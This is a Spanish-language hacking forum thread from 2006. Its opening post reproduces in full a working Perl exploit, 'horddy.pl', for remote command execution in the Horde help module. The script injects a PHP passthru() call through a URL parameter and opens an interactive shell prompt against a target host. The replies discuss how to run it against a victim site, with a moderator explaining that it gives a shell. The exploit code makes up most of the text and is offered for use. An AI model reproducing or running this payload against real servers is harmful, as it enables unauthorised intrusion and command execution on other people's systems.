elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 01:22  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  horde
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: horde  (Leído 1,590 veces)
visualfree

Desconectado Desconectado

Mensajes: 97


Ver Perfil
horde
« en: 15 Noviembre 2006, 21:52 »

#!/usr/bin/perl
# Wed Apr  5 21:51:12 CEST 2006 jolascoaga@514.es
#
# Horde help module remote execution
#
# telnet 310.27.901.33.1109 1689 # thanks horatio for the address
# USER paranoia
# PASS total
# SYST
# REST 100
# REST 0
# PWD
# TYPE A
# PASV
# LIST
# CWD 0days
# GET horddy.pl
#
# w0w this damn 0day ftp is so sexy!
#
# GO GO GO !! GO GO GO !! Team fall back!
#
# Example: ./horddy.pl --host=http://www.server.com/horde
#
# Now for your X-box !
#
# Greets:
#  - all 514 crew
#  - mallorca ppl r0xing.
#
# THIS IS PENE! TIMMY!!! LIVIN' A LIE!
#
 

use strict;
use LWP::UserAgent;
use LWP::Simple;
use HTTP::Request;
use HTTP::Response;
use Getopt::Long;

$| = 1;   # mess with the best? don't mess with my buffer

my ($proxy,$proxy_user,$proxy_pass);
my ($host,$debug,$dir, $command);
my $use_ssl = 0;

my $options = GetOptions (
  'host=s'         => \$host,
  'dir=s'         => \$dir,
  'proxy=s'           => \$proxy,
  'proxy_user=s'      => \$proxy_user,
  'proxy_pass=s'      => \$proxy_pass,
  'debug'             => \$debug);

&help unless ($host); # please don't try this at home.

$dir = "/horde/" unless($dir);
print "$host - $dir\n";

while () {
      print "horddy> "; # lost connection
      while(<STDIN>) {
            $command=$_;
            chomp($command);
            last;
      }
      &send($command);
}

sub buildcmd {   # this is a useful comment
   my ($cmd) = @_;   
   # wonderful hacking
   $cmd =~ s/ /\%20/gi;
   $cmd =~ s/\//\"\.chr\(47\)\.\"/gi;
   
   return $cmd;
}

sub send {
    my ($tmp) = @_;
    my $ok   =   0;
    my $cmd = buildcmd ($tmp); # this is really magic ^^
    my $socket;
    LWP::Debug::level('+') if $debug; # but remember this is crap :D

    my $ua = new LWP::UserAgent();   
    $ua->agent("Nozilla/P.N (Just for IDS woring)"); # this is not me :/

    my $string = "/$dir/services/help/?show=about&module=;\".passthru(\"$cmd\");'.";

    if ($host !~ /^http/) {
   $host = sprintf ("http://%s", $host); # CRAP CRAP CRAP
    }

    my $req = HTTP::Request->new (GET => $host.$string);
    $ua->proxy(['http'] => $proxy) if $proxy;
    $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

    print $req->as_string() if $debug;

    my $res = $ua->request($req);
    my $html = $res->content();

    foreach (split(/\n/,$html)) {
      if ((/<h2/) or (/<br \/>/)) { # brum brum conditionals desmitified
            last;
      }
      print "$_\n" if $ok eq "1"; # i don't think this is usefull
      if (/<body class=/) {
            $ok = 1;
      } 
    }
}

sub help {
    print "Syntax: ./$0 --host=url --dir=/horde [options]\n";
    print "\t--proxy (http), --proxy_user, --proxy_pass\n";
    print "\t--debug\n";
    print "the default directory is /horde\n";
    print "\nExample\n";
    print "bash# $0 --host=http(s)://www.server.com/\n";
    print "\n";
    exit(1);
}
exit 0;
# y00000w this is the best part.
# remember mallorca es fonki :D




Tengo una duda con esto:

use el exploit de esta manera
perl gorddy.pl --host=http://vitima.pl/horde/
me da esto comor esultado
http://victima.pl - /horde
horddy>


y me queda esop como unpromp  pero no me muestra resultado nose si alguien lo podria probar y decirme como usarlo bueno cuidense saludos...
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: horde
« Respuesta #1 en: 16 Noviembre 2006, 04:30 »

entiendes como funciona el exploit?
nunca, nunca uses un exploit que no entiendes.

este te da shell.. solo escribe los comandos que quieras despues de "hordy>"

Saludos!!
En línea

visualfree

Desconectado Desconectado

Mensajes: 97


Ver Perfil
Re: horde
« Respuesta #2 en: 16 Noviembre 2006, 05:19 »

Disculkpa q sea cargante prove con esto:
# telnet 310.27.901.33.1109 1689 # thanks horatio for the address
# USER paranoia
# PASS total
# SYST
# REST 100
# REST 0
# PWD
# TYPE A
# PASV
# LIST
# CWD 0days
# GET horddy.pl

despues de hordy escribo comandos pero no me muestra nada xD significa solo q no es vulnerable?
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: horde
« Respuesta #3 en: 17 Noviembre 2006, 00:23 »

Código:
# telnet 310.27.901.33.1109 1689 # thanks horatio for the address
# USER paranoia
# PASS total
# SYST
# REST 100
# REST 0
# PWD
# TYPE A
# PASV
# LIST
# CWD 0days
# GET horddy.pl
1.- Eso no es el exploit, es la cabecera, y al parecer es un FTP.
2.- Si no reconoce ningun comando, obivamente no es vulnerable.

Saludos!!
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines